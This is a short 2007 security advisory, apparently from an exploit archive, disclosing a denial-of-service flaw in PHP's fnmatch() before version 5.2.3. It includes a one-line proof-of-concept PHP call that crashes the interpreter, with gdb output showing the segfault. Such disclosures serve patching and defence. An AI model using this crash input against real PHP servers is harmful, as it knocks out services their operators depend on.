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php523-fnmatch.txt

php523-fnmatch.txt
Posted Sep 6, 2007
Authored by laurent gaffie

PHP versions below 5.2.3 are susceptible to a denial of service condition in fnmatch().

tags | advisory, denial of service, php
SHA-256 | 6fcdeaf2e62e355be0b46cb875392cf67525f69db9277ced47e0e79a558d4c9a

php523-fnmatch.txt

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Application: PHP < 5.2.3
Web Site: http://php.net
Platform: unix
Bug: denial of service
fonction: fnmatch()
special condition: default php-memory-limit
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

fnmatch() is vulnerable to a denial of service

=====
3)Proof of concept
=====

Proof of concept example :
<?
fnmatch("*[1]e", str_repeat("A", 9638013));
?>

result:
(gdb) run 2.php
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215469888 (LWP 11079)]
0xb7970d99 in fnmatch () from /lib/tls/i686/cmov/libc.so.6



========
4)Greets
========
Ivanlef0u,Deimos,benji,soh,and everyones on worldnet: #futurezone & #nibbles

=====
5)Credits
=====

Laurent gaffie
contact : laurent.gaffie@gmail.com
stay tuned, site comming soon ....
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